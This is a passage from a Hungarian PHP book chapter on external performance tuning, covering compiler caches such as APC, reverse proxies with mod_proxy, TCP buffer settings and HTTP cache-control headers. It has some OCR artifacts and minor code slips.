olyan esetben is, amikor a programot a require (), az include () vagy az
eval () segítségével futtatjuk.

Láthatjuk tehát, hogy az első lépésben a programokhoz, illetve a beemelt kódokhoz ké-
szített köztes kód átmeneti tárolásától jelentős nyereséget várhatunk a teljesítménynöve-
kedés terén. A fordítói gyorstár pontosan ezt teszi.

A 9.1. ábrán a program végrehajtásának folyamatát láthatjuk, fordítói gyorstár használata


nélkül, míg a 9.2. ábra ugyanezt a folyamatot mutatja be, de itt már fordítói gyorstárat is
alkalmazunk. Figyeljük meg, hogy a program vagy beemelt állomány első elérésénél for-
dul csak elő, hogy üres a tár - ezután a fordítási lépés teljesen kimarad.

A PHP-hez három fontosabb fordítói gyorstár létezik:

• Zend Accelerator - Kereskedelmi, zárt forrású, megvásárolható fordítói gyorstár


a Zend Industriestől.
• ionCube Accelerator - Kereskedelmi, zárt forrású, de ingyenes fordítói gyorstár, me-
lyet Nick Lindridge írt, és cége, az ionCube terjeszt.
9. fejezet • Teljesítményfokozás külső módszerekkel 237

• APC - Ingyenes, nyílt forrású fordítói gyorstár, melyet Dániel Cowgill és jómagam
írtunk.

A 23- fejezetben, ahol a PHP és a Zend Engine bővítését tárgyaljuk, az APC működésének
részleteivel is megismerkedhetünk.

Az APC fordítói gyorstár a PEAR Extension Code Library (PECL) keretén belül érhető el.
Telepítéséhez az alábbi parancsot kell kiadnunk:

#pear install apc

9.1. ábra
Egy program végrehajtásának folyamatábrája a PHP-ben.

A működéhez szükséges beállítások elvégzéséhez helyezzük el a következő sort


a php. ini fájlban:

extension = /path/to/apc.so

Ezen felül semmiféle további beállításra nincs szükség. Ha legközelebb elindítjuk a PHP-t,
az APC már aktív lesz, és elvégzi programjaink átmeneti tárolását az osztott memóriában.
238 PHP fejlesztés felsőfokon

Ne feledjük, hogy a fordítói gyorstár a program végrehajtásában az értelmezési szakasz fe-


lesleges ismétléseitől kímél meg, így használata olyan programoknál a leghatékonyabb,
amelyek nagyobb mennyiségű kódot tartalmaznak. Próbaképpen lemértem a különbséget
a Smartyhoz adott bemutató oldalon. Asztali gépemen 26 kérelmet fogadtam másodper-
cenként egy gyári PHP összeállítástól. Ha az APC-t is betöltöm, ez a szám 42-re kúszik fel,
ami 6l%-os növekedést jelent — ami igen jelentősnek nevezhető, különösen annak fényé-
ben, hogy a kódhoz hozzá sem kellett nyúlni.

A fordítói gyorstárak különösen hatékonyan alkalmazhatók olyan környezetekben, ame-


lyek sok beemelt állományt használnak. Amikor a Community Connectnél dolgoztam (ek-
kor született az APC is), nem volt szokatlan jelenség, ha egy program (önhívással) 30-40
fájlt is beemelt az include-dal. Az ilyen fájlok szaporodása az alapkód nagymértékben
moduláris felépítésének volt köszönhető, melynek során a hasonló függvényeket külön
könyvtárakba rendezték. Ebben a környezetben az APC alkalmazása az alkalmazás telje-
sítményének több mint 100 %-os növekedését eredményezte.

9.2. ábra
Program végrehajtása fordítói gyorstárral.
9. fejezet • Teljesítményfokozás külső módszerekkel 239

Nyelvi optimalizálok
A nyelvi optimalizálok a program lefordítása után kapott köztes kódszerkezetét alakítják
hatékonyabbá. A legtöbb nyelv rendelkezik optimalizáló fordítókkal, melyek az alábbiak-
hoz hasonló műveleteket végeznek:

• Döglött kódok eltüntetése - Vagyis megszabadulás az elérhetetlen kódrészletektől,


mint például az i f (0 ) { }.
• Állandók átalakítása - Ha a program állandók egy csoportján végez műveleteket, eze-
ket már a fordítás alatt elvégezhetjük. Ezt megtehetjük például az alábbi sorban:
$seconds_in_day = 2 4 *6 0 *6 0;
E sort ugyanis átalakíthatjuk úgy, hogy a futás közben ne kelljen számítási művele-
teket végezni:
$seconds_in_day = 86400 ;
Mindehhez a felhasználónak hozzá sem kell nyúlnia a kódhoz.
• Helyi optimalizálás - Léteznek olyan helyi optimalizálási lehetőségek, melyekkel nö-
velhetjük a program teljesítményét (például, ha a $count++ helyett + + $count-ot
írunk, ha a visszatérési érték üres környezetbe kerül). A $count + + esetében a nö-
velés azután történik meg, hogy a program kiértékelte az összes olyan kifejezést,
melyben a $count szerepel. így például a $i = $count++; esetében az $i
a $count értékét kapja meg, még mielőtt a program növelné. A végrehajtás szem-
pontjából ez azt jelenti, hogy a motornak tárolnia kell a $count értékét, hiszen ezt
kell alkalmaznia az olyan kifejezésekben, ahol ez a változó szerepel. Ezzel szem-
ben a ++$count még azelőtt növeli a $count változó értékét, mielőtt az ezt tartal-
mazó kifejezéseket kiértékelné, így semmilyen ideiglenes értéket nem kell tárolni
(és így kevesebb erőforrást kell felhasználni). Ha a $count + + alakot alkalmazzuk,
de az eredményt nem használjuk fel azonnal egy kifejezésben (vagyis üres környe-
zetbe kerül), nyugodtan átalakítható előzetes növelésű alakra.

Az optimalizáló fordítók a fentiek mellett más műveleteket is végezhetnek.

A PHP nem rendelkezik beépített kódoptimalizálóval, de lehetőségünk van arra, hogy ezt
a feladatot bővítményekkel végezzük el:

• A Zend Optimizer zárt forrású, de ingyenesen elérhető optimalizáló program.


• Az ionCube Accelerator tartalmaz egy beépített optimalizálót.
• Létezik egy jól bevált optimalizáló a PEAR-ben is.

A kódoptimalizáló használatának előnyeit akkor élvezhetjük igazán, ha a kódot egyszer


fordítjuk le és optimalizáljuk, majd ezután sokszor futtatjuk. így tehát a PHP-ben az opti-
malizálok használata gyakorlatilag értelmetlen fordítói gyorstárak alkalmazása nélkül.
Ha együtt használjuk őket, az optimalizáló kicsi, de érzékelhető teljesítménynövekedést
eredményez a fordítói gyorstár önálló alkalmazásához képest.
240 PHP fejlesztés felsőfokon

HTTP gyorsítók
Az alkalmazások teljesítményét számos tényező befolyásolja. Első ránézésre a teljesít-
ményt az alábbiak korlátozhatják:

• az adatbázis teljesítménye,
• a CPU teljesítménye, ami számítás-, illetve műveletigényes alkalmazásoknál jelentős,
• a lemez teljesítménye, amennyiben jelentős mennyiségű bemeneti-kimeneti műve-
letre van szükség,
• a hálózat teljesítménye olyan alkalmazások esetében, amelyek jelentős hálózati
adatátvitelre szorulnak.

A következő fejezetekben azt vizsgáljuk meg, miként hangolhatjuk úgy alkalmazásainkat,


hogy a lehető legkisebbre csökkentsük e korlátozások hatásait. Mielőtt azonban tovább-
haladnánk, meg kell vizsgálnunk egy olyan tényezőt is, amiről gyakran elfeledkezünk
- a hálózati késleltetést. Ha egy ügyfél kérelmet intéz webhelyünkhöz, az adatcsomagok-
nak fizikailag is el kell jutniuk az Interneten keresztül az ügyféltől a kiszolgálóig, és
vissza. Emellett az operációs rendszerben is létezik egy korlát arra nézve, hogy egyidőben
mennyi adat küldhető át egy TCP csatolón. Ha az adatmennyiség meghaladja ezt a korlá-
tot, az alkalmazás meggátolja az adatátvitelt, vagy egyszerűen addig vár, míg a távoli rend-
szer vissza nem igazolja az adatok fogadását. így tehát a kérelem feldolgozásán túl a web-
kiszolgáló a lassú hálózati kapcsolat miatt is várakozásra kényszerülhet.

A 9-3. ábra a hálózat szintjén végrehajtott műveleteket mutatja be egyetlen kérelem feldol-
gozása esetén, a végrehajtáshoz szükséges időtartamokkal együtt. Mialatt a hálózati cso-
magok küldése és fogadása zajlik, a PHP alkalmazás üresjáratban vesztegel. Figyeljük
meg, hogy a 9.3- ábrán 200 ms olyan időt számolhatunk össze, amikor a PHP kiszolgáló-
nak elvileg az adatokkal kellene foglalkoznia, ehelyett azonban arra vár, hogy a hálózati
adatátvitel befejeződjön. Ez a hálózati időkiesés számos alkalmazásnál jelentősen na-
gyobb, mint a programok futtatására fordított idő.

Nos, ez nem feltétlenül tűnik komoly adattorlódási lehetőségnek, de könnyen azzá válhat.
A gondot az okozza, hogy egy üresjáratban működő webkiszolgáló is felhasznál bizonyos
erőforrásokat - memóriát, állandó adatbázis-kapcsolatokat és egy helyet a folyamatok táb-
lájában. Ha tehát sikerül kiküszöbölnünk a hálózati késleltetést, ezzel egyúttal lerövidít-
hetjük azt az időt, amit a PHP felesleges munka végzésével tölt - így persze egyúttal nö-
velhetjük az alkalmazás hatékonyságát.
9. fejezet • Teljesítményfokozás külső módszerekkel 241

9.3. ábra
Hálózati adatátvitel egy átlagos kérelem esetén.

Hálózati kapcsolatok blokkolása


Ha azt állítjuk, hogy az alkalmazásnak blokkolnia kell a hálózati kapcsolatokat, nem mon-
dunk teljesen igazat. Készíthetünk ugyanis olyan módon is hálózati csatolókat, hogy
a blokkolás helyett a vezérlés visszakerül az alkalmazáshoz. Számos nagyteljesítményű
webkiszolgáló - mint a thttpd vagy a Tux - ezt a megközelítést alkalmazza. Mindemel-
lett azonban nem ismerek olyan PHP kiszolgáló API-t (SAPI-t, vagyis olyan alkalmazáso-
kat, amelyek beépített PHP-t tartalmaznak), amelyek lehetővé tennék, hogy egyetlen PHP
példány egyszerre több kérelmet is kiszolgáljon. Ezért hát, legyenek bármilyen gyorsak
ezek a kiszolgálók, még nem blokkoló hálózati kapcsolat mellett is olyan PHP folyama-
tokra van szükségük, amelyek egy kérelemhez rendeltek annak teljes élettartama alatt.
242 PHP fejlesztés felsőfokon

Fordított helyettesek
Sajnálatos módon az Interneten tapasztalható hálózati késleltetés kiküszöbölése meghalad-
ja a lehetőségeinket. (Bárcsak módunkban állna elbánni vele!) Valamit azonban mégis csak
tehetünk - alkalmazhatunk egy újabb kiszolgálót a végfelhasználó és a PHP alkalmazás
között. Ez fogadja az ügyfelek kérelmeit, továbbítja őket a PHP alkalmazás felé, várakozik
a válaszra, majd azt visszaküldi a távoli felhasználónak. Ezt a helyettes kiszolgálót (köztes
kiszolgálót, „proxyt") fordított helyettesnek (reverse proxy) vagy Hl 1F gyorsítónak nevezik.

Használata az alábbi feltételek mellett kifizetődő:

• A helyettes kiszolgáló kisméretű kell legyen. Kérelmenként jóval kevesebb erőfor-


rást használhat fel, mint maga a PHP alkalmazás.
• A helyettes kiszolgáló és a PHP alkalmazás egyazon helyi hálózaton kell legyen.
Következésképpen a kettejük közti kapcsolat késleltetése igen rövid lesz.

A 9.4. ábrán egy jellemző fordítotthelyettes-összeállítást láthatunk. Figyeljük meg, hogy


a távoli ügyfelek nagy késleltetésű kapcsolatok végén találhatók, míg a helyettes kiszolgá-
ló és a webkiszolgáló egyazon nagysebességű hálózaton helyezkedik el. Vegyük észre azt
is, hogy a helyettes kiszolgáló sokkal több ügyféllel tart fenn kapcsolatot, mint webkiszol-
gálóval. Ennek az az oka, hogy az alacsony késleltetési idejű kapcsolat a helyettes és
a webkiszolgáló között lehetővé teszi, hogy az utóbbi egyszerűen „elküldje és elfelejtse"
a tartalmát, nem kell vesztegetnie idejét a hálózati késleltetés miatti várakozásra.

Ha Apache kiszolgálót használunk, számos kitűnő fordított helyettes közül választhatunk,


köztük az alábbiakból:

• mod_proxy - „Szabványos" modul, melyet megkapunk az Apache kiszolgálóval.


• mod_accel - Külső gyártó által készített modul, ami meglehetősen hasonlít
a mod_proxy-hoz (az igazat megvallva számos részlete az előbbi átiratának tű-
nik), emellett azonban tartalmaz kifejezetten a fordított helyettesekre jellemző
lehetőségeket is.
• mod_backhand - Külső gyártó által készített terheléskiegyenlítő modul az Apache
kiszolgálóhoz, ami fordított helyettesi lehetőségeket is megvalósít.
• Squid - Külső tároló helyettes démon, amely nagyteljesítményű előre irányuló
(forward) és fordított (reverse) helyettes kiszolgálást tesz lehetővé.
9. fejezet • Teljesítményfokozás külső módszerekkel 243

9.4. ábra
Egy jellemző fordítotthelyettes-összeállítás.

A fenti megoldások lehetővé teszik, hogy a helyettes példánya egy kijelölt gépen legyen,
vagy egyszerűen egy második kiszolgálópéldányként ugyanazon a gépen fusson. Nézzük
most meg, hogyan valósíthatjuk meg ez utóbbi esetet a mod_proxy segítségével. Ennek
legegyszerűbb módja, ha két Apache példányt fordítunk, az egyiket a mod_proxy-val (az
/opt/apache_proxy könyvtárba telepítve), a másikat a PHP-vel (az /opt/apache_php
könyvtárba telepítve).

Egy jól ismert fogást alkalmazunk annak érdekében, hogy minden gépen ugyanaz az
Apache beállítás legyen érvényes: Apache beállítási fájlunkban az externalether gép-
nevet használjuk. Ezután megfeleltetjük ezt a nevet nyilvános (külső) Ethernet felületünk-
nek az /etc/hosts könyvtárban. Hasonlóan, Apache beállítási fájlunkban a localhost
gépnevet használjuk a 127.0.0.1 visszacsatolási cím megjelenítésére.

Az Apache beállítások teljes körű megjelenítése túlzottan sok helyet venne igénybe, így
csak a httpd. conf állomány apró részletét mutatjuk be a legfontosabb beállításokkal,
némi képet adva a környezetükről is.
244 PHP fejlesztés felsőfokon

Egy mod_proxy alapú fordítotthelyettes-beállítás tehát valahogy így fest:

DocumentRoot /dev/null
Listen externalether:80
MaxClients 256
KeepAlive Off

AddModule mod_proxy.c
ProxyRequests On
ProxyPass / http://localhost/
ProxyPassReverse / http://localhost/
ProxylOBufferSize 131072
<Directory proxy:*>
Order Deny,Allow
Deny from all
</Directory>

Érdemes észrevennünk a következőket:

• A DocumentRoot a /dev/null értéket kapta, mivel ez a kiszolgáló nem rendel-


kezik saját tartalommal.
• Kifejezetten a kiszolgáló külső Ethernet címéhez (externalether) kell kapcso-
lódnunk, mivel egy tisztán PHP-t futtató példányt is működtethetünk ugyanazon
a gépen. A Listen utasítás nélkül az elsőként elindított kiszolgáló lekötné az
összes elérhető címet, lehetetlenné téve a második számára a munkát.
• Az életben tartást (keepalive) kikapcsoltuk. A nagyforgalmú webkiszolgálók, ame-
lyek előágaztató (pre-fork) modellt (mint az Apache) vagy kisebb mértékben szálas
modellt (mint a Zeus) használnak, általában vesztenek a teljesítményükből, ha az
életben tartás be van kapcsolva.
• A ProxyRequests értéke On, ami azt jelenti, hogy a mod_proxy működhet.
• A ProxyPass / http: //localhost arra utasítja a mod_proxy-t, hogy a / jellel
kezdődő kérelmeket (vagyis tulajdonképpen az összesét) belsőleg továbbítsa ah-
hoz a kiszolgálóhoz, amelyik a helyi gép IP címéhez van kötve - vagyis a PHP
példányhoz.
• Amennyiben a PHP példány egy Location átirányítást eszközöl a f oo. php-n,
amiben szerepel a kiszolgáló neve, az ügyfél az alábbi átirányítást kapja meg:
Location: http://localhost/foo.php
Ez a végfelhasználónál nem működik, így a ProxyPassReverse minden
Location átirányítást átír úgy, hogy az önmagára mutasson.
• A ProxylOBufferSize 131072 beállítja azon átmeneti tár (buffer) méretét, me-
lyet a fordított helyettes használ a PHP-től visszakapott adatok összegyűjtésére. An-
nak elkerülésére, hogy a böngésző irányában folytatott adatcsere megakadályozza
a helyettes működését, ezt az értéket legalább akkorára kell állítani, mint a legna-
gyobb, a felhasználónak szolgáltatott oldal mérete. Ez lehetővé teszi, hogy az egész
9. fejezet • Teljesítményfokozás külső módszerekkel 245

oldalt átküldjük a PHP-től a helyetteshez, mielőtt bármilyen adat visszakerülne


a böngészőhöz. Ezután, míg a helyettes adatokat küld az ügyfél böngészőjének,
a PHP példány nyugodtan dolgozhat.
• Végül, letiltjuk az összes kimenő helyetteskérelmet a kiszolgáló felé. Ezzel elejét
vesszük a helyettes nem rendeltetésszerű használatának.

Előágaztató, esemény alapú és szálas folyamatarchitektúrák

A webkiszolgálók által használt három fő architektúra az előágaztató, az eseményalapú,


valamint a szálas modell.

Az előágaztató modellben (pre-fork model) egy folyamathalmaz áll rendelkezésre a kérel-


mek kezelésére. Ha egy új kérelem érkezik, a rendszer kiosztja kezelésére az egyik gyer-
mekfolyamatot. Egy folyamat általában több kérelmet is kiszolgál, mielőtt kilépne. Ezt
a modellt alkalmazza az Apache 1.3.

Az esemény alapú modellben (event-based model) egyetlen folyamat szolgálja ki a kérel-


meket egyetlen szálon, nem blokkoló vagy aszinkron l/O-t használva a gyors kérelem-
feldolgozáshoz. Ez a módszer rendkívül jól működik statikus fájlok kezelésénél, de ko-
rántsem ilyen hatékony dinamikus kérelmek esetén (mivel így egy-egy külön folyamat
vagy szál szükséges az egyes kérelmek dinamikus részének kezeléséhez). Jef Poskanzer
thttpd-je, ez a kisméretű, gyors webkiszolgáló ezt a modellt használja.

A szálas modellben (threaded model) egy folyamat szálak egész halmazát használja a ké-
relmek kiszolgálására. A módszer igen hasonló az előágaztató modellhez, a különbség
annyi, hogy itt egyes erőforrások megoszthatók a szálak között. A Zeus webkiszolgáló ezt
a modellt alkalmazza. Jóllehet a PHP maga szálbiztos, nehéz vagy egyenesen lehetetlen
azt biztosítani, hogy a külső gyártók által készített bővítmények kódja szintén az legyen.
Ez azt jelenti, hogy még egy szálas webkiszolgálónál is előfordulhat, hogy nem használ-
hatunk szálas PHP-t, helyette ágaztatott folyamatvégrehajtást kell alkalmaznunk a fastcgi,
illetve a cgi megvalósításainak segítségével.

Az Apache 2 hozzáadott jeles (drop-in) folyamatarchitektúrával rendelkezik, ami lehetővé


teszi, hogy igényeink szerint szálas, előágaztató vagy kevert modellt használjunk.

Az előző Apache kiszolgálón belül ugyan meglehetősen sok beállításra volt szükség,
a PHP-t futtató kiszolgálón ezzel szemben nem sokat kell módosítanunk az eddigiekhez
képest. Egyetlen változtatásként az alábbi sort kell beírnunk a httpd. conf fájlba:
Listen localhost:80
246 PHP fejlesztés felsőfokon

Ez kizárólagosan hozzáköti a PHP példányt a visszacsatolási címhez. Ha ezek után el sze-


retnénk érni a webkiszolgálót, csak a helyettes kiszolgálón keresztül tehetjük meg.

A változtatások teljesítményre gyakorolt hatásának lemérése nehéz feladat. Módosításaink


elsősorban azt a terhelést csökkentik, amit az erősen késleltetett kapcsolatok végén talál-
ható ügyfelek okoznak, így nehéz lemérni a változást egy helyi vagy nagy sebességű há-
lózaton. Egy összeállításban jómagam láttam olyan fordított helyettessel működő rend-
szert, amely a webhely fenntartásához szükséges Apache gyermekfolyamatok számát ké-
pes volt 100-ról 20-ra csökkenteni.

Teljesítményfokozás az operációs rendszer szintjén


Fontos észrevennünk, hogy ha nem szeretnénk helyi gyorstárakat alkalmazni, a fordított
helyettes használata feleslegesen nagy energiabefektetés. Hasonló hatást érhetünk el
ugyanis külön kiszolgáló futtatása nélkül, ha lehetővé tesszük, hogy maga az operációs
rendszer gyorstárazza az adatokat. A korábbiakban, a fordított helyettesek tárgyalása so-
rán láthattuk, hogy a hálózati várakozási idő nagy része az ügyfélnek küldött adatcsoma-
gok közti várakozásból áll.

Az alkalmazás azért kényszerül több adatcsomagot küldésére, mert az operációs rendszer


korlátozza az átmenetileg tárolható adatok mennyiségét, amelyeket egyidőben egy TCP
csatolón keresztül küldeni lehet. Szerencsére ezt a korlátot magunk is megváltoztathatjuk.

A FreeBSD-ben a TCP tárakat az alábbiak szerint módosíthatjuk:


#sysctl -w net.inét.tcp.sendspace=131072
#sysctl -w net.inét.tcp.recvspace=8192

A Linuxban a következőket tehetjük:


#echo "131072" > /proc/sys/net/core/wmem_max
Akármelyiket is végezzük el a fenti módosítások közül, a kimeneti TCP tárméretet 128 KB-ra,
míg a bemeneti tárméretet 8 KB-ra állítjuk, (hiszen kevés bejövő kérelmet fogadunk, és sok
választ küldünk kifelé). Ezzel egyúttal feltételezzük, hogy a legnagyobb küldött oldalméret
128 KB. Ha alkalmazott oldalméretünk ettől eltér, a beállításokat ennek megfelelően módosí-
tani kell. Mindemellett szükség lehet arra is, hogy módosítsuk a kern. ipc.nmbclusters
beállításait is, hogy megfelelő méretű memóriát foglalhassunk le a megnövekedett tár számá-
ra. (A részletekért forduljunk segítőkész rendszergazda barátainkhoz.)

Az operációs rendszer korlátainak beállítása után rá kell vennünk az Apache kiszolgálót


arra, hogy használja az így kiépített nagyméretű tárakat. Ehhez mindössze az alábbi utasí-
tást kell elhelyeznünk a httpd. conf fájlban:
SendBufferSize 131072
9. fejezet • Teljesítményfokozás külső módszerekkel 247

Végezetül megszabadulhatunk a kapcsolat lezárásánál fellépő hálózati késedelemtől is


a lingerd folt telepítésével az Apache-ra. Ha a hálózati kapcsolatra nincs többé szükség,
a küldő egy FIN adatcsomagot küld a fogadónak, jelezve, hogy a kapcsolat lezárható.
A küldő ezután egészen addig várakozásra kényszerül, míg a fogadó nem értesíti a FIN
csomag fogadásáról - biztosítva ezzel, hogy valóban minden adat rendben átjutott. A FIN
csomag elküldése után az Apache-nak semmi mást nem kell tennie, mint várni a FIN-ACK
csomagra, majd lezárni a kapcsolatot. A lingerd folyamat úgy képes segíteni ebben,
hogy átadja a csatolót egy külső démonnak (lingerd), amely ezek után átvállalja a vára-
kozást a FIN-ACK csomagokra, és elintézi a kapcsolatok lezárását is.

Nagyforgalmú webkiszolgálók esetén a lingerd használata jelentős teljesítménynöveke-


dést eredményezhet, különösen, ha alkalmazása mellett az írási tárak méretét is megnö-
veljük. A lingerd fordítása hihetetlenül egyszerű. Ez valójában egy folt (patch) az
Apache kiszolgálóhoz (ami lehetővé teszi, hogy az Apache átadhassa a fájlleírókat a lezá-
ráshoz), és egy démon, amely a lezárásokat megvalósítja. A lingerd számos ismert
webhelyen használatos, köztük megemlítendő a Sourcef orge . com, a Slashdot. org,
valamint a L ive Journal. com.

Helyettes gyorstárak
Nagyszerű dolog, ha kis késleltetésű kapcsolattal rendelkezünk, de még jobb, ha a tarta-
lomkiszolgálónak egyáltalán nem kell kérelmeket kiadnia. A HTTP segítségével ez meg-
oldható.

A HTTP gyorstárazás számos szinten működhet:

• a fordított helyettesekbe épített gyorstárak alakjában,


• a végfelhasználó internetszolgáltatójánál meglevő helyettes gyorstárak alakjában,
• a felhasználó böngészőjébe épített gyorstárak alakjában.

A 9.5. ábrán a fordított helyettes gyorstárak egy jellemző elrendezését láthatjuk. Amikor
a felhasználó kérelmet intéz a www. example. f oo címhez, a DNS keresés a helyettes ki-
szolgálóhoz irányítja. Ha a kért bejegyzés létezik a helyettes gyorstárában, és nem elavult,
az oldal tárolt másolata kerül vissza a felhasználóhoz, és a webkiszolgálónak a kisujját
sem kell megmozdítania. Egyébként a kapcsolat átkerül a webkiszolgálóhoz, hasonlóan
a fordított helyettes korábban tárgyalt esetéhez.

A legtöbb fordítotthelyettes-megoldás, így a Squid, a mod_proxy és a mod_accel támo-


gatja a beépített gyorstárakat. A fordított helyettesbe épített gyorstár használata egyszerű
módszert ad arra, hogy hatékonyabban kihasználhassuk fordított helyettesünket. Egy
ilyen helyi gyorstár biztosítja, hogy a tárolható tartalom valóban tárolódik, így csökken
a terhelés a háttérmunkát végző PHP kiszolgálókon.
248 PHP fejlesztés felsőfokon

9.5. ábra
Kérelem egy fordított helyettesen keresztül.

Gyorstárbarát PHP alkalmazások


Ahhoz persze, hogy kihasználjuk a gyorstárak előnyeit, PHP alkalmazásainkat „gyorstár-
baráttá" kell alakítanunk. Az ilyen alkalmazások megértik, miként működnek a böngé-
szők és a helyettesek tárolási módszerei, és annak is tudatában vannak, saját adataik mi-
ként tárolhatók. Beállíthatjuk őket úgy, hogy a gyorstárakhoz kapcsolódó utasításokat al-
kalmazva a böngészőkben a megfelelő eredményre jussanak.

Ahhoz, hogy gyorstárbarát alkalmazásokat készítsünk, alapjában véve négy HTTP fejléc-
cel kell közelebbi ismeretséget kötnünk:

• Last-Modified
• Expires
• Pragma: no-cache
• Cache-Control
9. fejezet * Teljesítményfokozás külső módszerekkel 249

A Last-Modified HTTP fejléc a HTTP 1.0 gyorstárkezelésének egyik sarokköve. Tartalma


az oldal utolsó módosításának dátuma az UTC (korábban GMT) idő szerint. Ha egy gyorstár
újra érvényesíteni kívánja magát, elküldi a Last-Modif ied dátumot If -Modif ied-Since
fejlécmezője tartalmaként, így a kiszolgáló megtudja, milyen másolat érvényesítésére van
szükség.

Az Expires mező a HTTP 1.0-ban az érvényesíthetetlenség idejét jelzi. Tartalma egy


GMT dátum, amely után a kért dokumentum többé nem tekinthető érvényesnek.

Sokan olyan fejlécként tekintenek a Pragme: no-cache-re, mint amit arra használnak,
hogy meggátolják az objektumok gyorstárazását. Bár e fejléc beállítása semmilyen hát-
ránnyal nem jár, a HTTP leírása nem adja meg a pontos jelentését, így hasznosságát csak
az adja, hogy a HTTP 1.0 gyorstárak defacto szabványának számít.

A 90-es évek végén, amikor számos ügyfél még csak a HTTP 1.0-t értette, a gyorstárak be-
állításainak átadása meglehetősen korlátozott volt az alkalmazások között. Szokásos gya-
korlattá vált az alábbi fejlécek elhelyezése minden dinamikus oldalon:

function http_l_0_nocache_headers()
{
$pretty_modtime = gmdate('D, d M Y H : i : s ' ) . ' GMT';
header("Last-Modified: $pretty_modtime");
header("Expires: $pretty_modtime");
header("Pragma: no-cache");

Ez gyakorlatilag közli a köztes gyorstárakkal, hogy az adatokat ne tárolják, inkább frissít-


sék minden alkalommal.

Ha átgondoljuk, milyen lehetőséget nyújtanak e fejlécek, hamar észrevehetünk néhány ki-


rívó hiányosságot:

• Ha az elévülés időpontját egy abszolút időbélyegzővel szeretnénk megadni, az


ügyfél és a kiszolgáló rendszeróráinak összhangban kell lenniük.
• Egy ügyfél böngészőjének gyorstára meglehetősen különbözik az internetszol-
gáltató gyorstárától. Az előbbi képes egy oldal testreszabott adatainak tárolására,
míg egy több felhasználó által megosztott helyettes gyorstár nem.

A HTTP 1.l-ben kiküszöbölték e hiányosságokat, mégpedig a Cache-Control utasítá-


sokkal. A Cache-Control válaszfejléc lehetséges értékeit az RFC 26l6-ban találhatjuk
meg, használatának alakja pedig a következő:
250 PHP fejlesztés felsőfokon

Cache-Control = "Cache-Control" " : " l#cache-response-directive

cache-response-directive =
"public"
I "priváté"
I "no-cache"
I "no-store"
I "no-transform"
I "must-revalidate"
I "proxy-revalidate"
I "max-age" " = " delta-seconds
I "s-maxage" " = " delta-seconds

A Cache-Control utasítás meghatározza a kért dokumentum tárolhatóságát. Az RFC


26l6-nak megfelelően minden gyorstár és helyettes meg kell értse ezeket az utasításokat,
és a fejlécnek át kell haladnia minden helyettesen egészen a böngészőig, melytől a kére-
lem származott.

A tárolhatóság szabályozására az alábbi utasításokat használhatjuk:

• public — A válasz bármely gyorstárban tárolható.


• priváté - A válasz nem megosztott gyorstárakban tárolható. Ez a gyakorlat szem-
pontjából azt jelenti, hogy a kérelem csak a küldő böngészőjének gyorstárában tá-
rolható, a köztes gyorstárakban nem.
• no-cache - A válasz nem tárolható egyetlen gyorstárban sem. A no-store utasí-
tás azt jelzi, hogy az átvitt adatok érzékenyek, így nem tárolhatók maradandó tár-
helyeken. Ha az objektum tárolható, az utolsó utasításokkal azt szabályozzuk, mi-
lyen hosszú ideig.
• must-revalidate - Minden gyorstárnak újra érvényesítenie kell az oldalhoz ér-
kező kérelmeket. Az ellenőrzésnél a böngésző egy Is-Modified-Since fejlécet
küld a kérelemben. Amennyiben a kiszolgáló igazolja, hogy a tárolt oldal valóban
a legfrissebb változat, a 3 04 Not Modif ied választ küldi az ügyfélnek - egyébként
pedig visszaküldi a teljes módosított oldalt.
• proxy-revalidate - Ez az utasítás hasonló tulajdonságokkal rendelkezik, mint
a must-revalidate, de itt csak a megosztott gyorstáraknak kell újra érvényesíte-
niük a tartalmukat.
• max-age - Itt adhatjuk meg másodpercben azt az időtartamot, amíg a gyorstár egy
elemét tárolhatónak tekintjük.
• s-maxage - Itt adhatjuk meg másodpercben azt az időtartamot, amíg a megosztott
gyorstárak elemeit tárolhatóknak tekintjük. Fontos megjegyeznünk, hogy a HTTP
1.1 szabvány szerint, ha a max-age vagy az s-maxage értékét beállítottuk, ez fe-
lülbírálja az Expire fejlécben megadott értékeket.
9. fejezet • Teljesítményfokozás külső módszerekkel 251

Az alábbi függvény olyan oldalak kezelésére alkalmas, melyeket minden gyorstárban újra
kell érvényesíteni:

function validate_cache_headers($my_modtime)
{
$pretty_modtime = gmdate('D, d M Y H : i : s ' , $my_modtime) . ' GMT';
if($_SERVER['IF_MODIFIED_SINCE'] == $gmt_mtime) {
header("HTTP/1.1 304 Not Modified");
exit ;
}
else {
header("Cache-Control: must-revalidate");
header("Last-Modified: $pretty_modtime");
}
}

A függvény paraméterként az oldal legutóbbi módosításának idejét fogadja, majd összeha-


sonlítja a Is-Modif ied-Since fejléccel, melyet az ügyfél böngészőjétől kap. Ha a két
időpont megegyezik, a tárolt másolat megfelelő, így a 304-es állapotkód kerül vissza az
ügyfélhez, jelezve, hogy a másolat használható. Egyébként a kiszolgáló a Last-Modif ied
fejlécet küldi a Cache-Control-lal együtt, ami az újraérvényesítést szabályozza.

A függvény használatához természetesen ismernünk kell az oldal legutóbbi módosításá-


nak időpontját. Egy statikus oldalnál (ami lehet kép vagy egy „egyszerű", nem dinamikus
HTML oldal) ez egyszerűen a fájl módosításának ideje. A dinamikusan (PHP-vel vagy
másképp) készített oldalak esetében itt az az időpont áll, amikor az oldal készítéséhez fel-
használt adatok valamelyike megváltozott.

Vegyünk egy webnapló alkalmazást, amely főoldalán a legfrissebb bejegyzéseket jeleníti


meg:

$dbh = new DB_MySQL_Prod() ;


$result = $dbh->execute("SELECT max(timestamp)
FROM weblog_entries");
if($results) {
l i s t ( $ t s ) = $result->fetch_row();
validate_cache_headers($ts) ;
}

A legutóbbi módosítás időpontját itt az utolsó bejegyzés időbélyegzője adja meg.

Ha tudomásunk van arról, hogy egy oldal érvényes lesz bizonyos ideig, és nem különö-
sebben izgat, ha hirtelen elavulttá válik, kikapcsolhatjuk a must-revalidate fejlécet, és
beállíthatunk egy meghatározott Expires értéket. Fontos tudatában lennünk annak,
252 PHP fejlesztés felsőfokon

hogy oldalunk valóban elavulttá válhat időközben: ha közöljük a helyettes gyorstárral,


hogy a tárolt tartalom egy Ideig megfelelőnek tekinthető, elveszítjük annak lehetőségét,
hogy frissítsük ezt a megadott időtartamban. Ezzel persze számos alkalmazásnál semmi
gond nincs.

Vegyünk például egy olyan híroldalt, mint a CNN-é. Még a legfrissebb hírek érkezésénél
sem okoz gondot, ha a nyitólap frissítése egy percet késik. Ha ennek megfelelően szeret-
nénk beállítani a gyorstárakat, többféle módszert is alkalmazhatunk.

Amennyiben lehetővé szeretnénk tenni, hogy a megosztott helyettesek egy percig tárolják
